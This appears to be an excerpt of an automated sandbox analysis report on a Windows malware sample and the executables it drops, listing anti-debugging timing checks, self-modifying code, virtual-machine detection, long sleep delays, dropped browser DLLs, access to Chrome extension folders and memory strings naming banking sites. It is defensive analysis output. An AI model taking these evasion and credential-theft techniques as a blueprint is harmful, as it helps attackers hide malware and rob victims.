Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0EC7 second address: 49C0F1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5700D4468Fh 0x00000008 pushfd 0x00000009 jmp 00007F5700D44698h 0x0000000e or cx, 5758h 0x00000013 jmp 00007F5700D4468Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F5700D44695h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0BB8 second address: 49C0BD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148077h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A4074A second address: 4A40772 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44694h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5700D4468Bh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40772 second address: 4A40776 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A40776 second address: 4A407C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F5700D44697h 0x0000000c add al, FFFFFFFEh 0x0000000f jmp 00007F5700D44699h 0x00000014 popfd 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5700D4468Dh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A407C3 second address: 4A407F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5701148073h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ebx, esi 0x00000012 call 00007F570114806Ch 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A407F1 second address: 4A407F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A309E4 second address: 4A30A2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F5701148076h 0x0000000f push eax 0x00000010 jmp 00007F570114806Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5701148075h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A2E second address: 4A30A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44691h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A4B second address: 4A30A4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A4F second address: 4A30A55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A55 second address: 4A30A5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A5B second address: 4A30A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30A5F second address: 4A30A9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F570114806Eh 0x00000013 jmp 00007F5701148075h 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b mov bl, ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3080F second address: 4A3084B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F5700D4468Dh 0x0000000b sub ax, A3E6h 0x00000010 jmp 00007F5700D44691h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F5700D4468Ch 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3084B second address: 4A3086D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, A434h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5701148075h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A3086D second address: 4A308A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44691h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5700D44698h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A308A0 second address: 4A308A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A308A4 second address: 4A308AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A308AA second address: 4A308C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dl, 4Ah 0x0000000f push ecx 0x00000010 pop edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D02E8 second address: 49D02ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D02ED second address: 49D02F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D02F3 second address: 49D0339 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44696h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e mov ch, bh 0x00000010 mov edi, ecx 0x00000012 popad 0x00000013 mov cx, C17Bh 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F5700D44698h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D0339 second address: 49D033F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30D25 second address: 4A30D4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44691h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5700D4468Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30D4B second address: 4A30D51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30D51 second address: 4A30D55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30D55 second address: 4A30D59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30D59 second address: 4A30DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F5700D44695h 0x00000012 sbb ah, 00000006h 0x00000015 jmp 00007F5700D44691h 0x0000001a popfd 0x0000001b push eax 0x0000001c push edx 0x0000001d pushfd 0x0000001e jmp 00007F5700D4468Eh 0x00000023 jmp 00007F5700D44695h 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30DB7 second address: 4A30DD9 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push dword ptr [ebp+08h] 0x0000000a jmp 00007F570114806Ah 0x0000000f push 27A8A2A9h 0x00000014 pushad 0x00000015 mov dl, 01h 0x00000017 push eax 0x00000018 push edx 0x00000019 mov cx, FF95h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30DD9 second address: 4A30DFA instructions: 0x00000000 rdtsc 0x00000002 mov ch, 00h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 27A9A2ABh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5700D4468Fh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30DFA second address: 4A30DFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30DFE second address: 4A30E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30E5D second address: 4A30E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30E61 second address: 4A30E67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E0666 second address: 49E06A6 instructions: 0x00000000 rdtsc 0x00000002 mov al, dh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov edx, eax 0x0000000b pushfd 0x0000000c jmp 00007F5701148072h 0x00000011 or al, 00000048h 0x00000014 jmp 00007F570114806Bh 0x00000019 popfd 0x0000001a popad 0x0000001b push eax 0x0000001c pushad 0x0000001d pushad 0x0000001e mov dx, ax 0x00000021 popad 0x00000022 mov bx, si 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E6EC26 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 100AF33 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 100B302 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 101B83B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: A3EC26 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDAF33 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BDB302 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BEB83B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Special instruction interceptor: First address: DB7AEE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Special instruction interceptor: First address: F5F492 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Special instruction interceptor: First address: F5DDD0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Special instruction interceptor: First address: F70D15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe	Special instruction interceptor: First address: FEDF72 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Special instruction interceptor: First address: AFF92D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Special instruction interceptor: First address: C9FE6A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Special instruction interceptor: First address: CAB68A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Special instruction interceptor: First address: AFF8F6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Special instruction interceptor: First address: D31F1D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Special instruction interceptor: First address: A41812 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Special instruction interceptor: First address: A46EB9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Special instruction interceptor: First address: AD1451 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Special instruction interceptor: First address: 8A538B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Memory allocated: 5470000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Memory allocated: 55D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Memory allocated: 75D0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_04A30BD9 rdtsc

1_2_04A30BD9

Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe

Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 892	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1232	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 888	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016129001\fe4405d388.exe	Window / User API: threadDelayed 888

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016131001\8525fc48e0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1016132001\b294a2fe6c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\freebl3[1].dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8004	Thread sleep count: 890 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8004	Thread sleep time: -1780890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8008	Thread sleep count: 890 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8008	Thread sleep time: -1780890s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8024	Thread sleep count: 892 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8024	Thread sleep time: -1784892s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7984	Thread sleep count: 296 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7984	Thread sleep time: -8880000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7996	Thread sleep count: 1232 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7996	Thread sleep time: -2465232s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8000	Thread sleep count: 888 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8000	Thread sleep time: -1776888s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe TID: 4816	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe TID: 3404	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe TID: 5276	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe TID: 6400	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe TID: 2992	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe TID: 6972	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 5588	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 3200	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 7208	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 5768	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 4988	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 6860	Thread sleep time: -54027s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe TID: 7280	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 2544	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 2788	Thread sleep count: 293 > 30
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 2788	Thread sleep time: -1758000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 2672	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe TID: 5292	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe TID: 4920	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016130001\258e650b63.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016128001\ba324316e4.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000005.00000002.2326441076.0000000000BBA000.00000040.00000001.01000000.00000007.sdmp, ba324316e4.exe, 00000012.00000002.3505905699.0000000000C82000.00000040.00000001.01000000.0000000A.sdmp, 90c05232da.exe, 00000014.00000002.3079071209.0000000000F40000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ba324316e4.exe, 00000012.00000002.3518847270.000000000BB20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: firefox.exe, 00000024.00000002.3228709871.0000028B2CA26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 90c05232da.exe, 00000011.00000003.2943718137.00000000056BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 90c05232da.exe, 00000011.00000003.3161808199.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eEka+xsvn29TtmTfWbTJ0IYJkyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnFHs+Z6nrkdzDfsQ7pfwBivJDdeBjyC8ZBrYMHeatMrX4SJ1l2vEDg/GZZwN3qvaQEOk1nsYI0nQhADMY/hZsIxYmq3ilFF3yHgGzY6tEzFmBea/UBzFhAmYb1oqHrA2HYnHoIDc0qDg5jN/iSm+UGwHYbQqqkRJVpdhCsWfEsDQs2YatlmgMvGsygRH9PIZM241n1Wg2QJriGdD15v8AEBGUz5wmlUAhSdeuRka5XGneIZTmGpDHsAMQJpeyqP8xYFGCRUAjTnqs8pnAw7ZfJaRM+v+EFLwrtaPnqkMBbgxavDBYWANPixOUg4B+VzjJUjJYCBsUJclzNAchyM4pexDM02OhsoxyzrVD0C6Arsg91oEjxRVPKLcNQkNKVbxTCUW6soC2egIZoCPA7t4NFXTGOgK4Ztqmq9iAIBoyJ0taxTdWMw6zUbRFVnX0UrMS8+qbjpa49lGwqehC3MjgPLqrkBUFpyDPwpFUfupRlk6QW9NIcWAwPgjCgxdK6okaC1DF0K1ohFZDl5jASmKR3itQzUXpUraHaACX6vQ/9XAsTV4DSBo7dk3QZrlT5uo4dswPOpnsJUzg7nmNYtWoEgESZWcUTH2xOwuFIKgJgfVnHTK+JLmAb/RowJPMKhAsCv3xIKp3A3J0bIrT6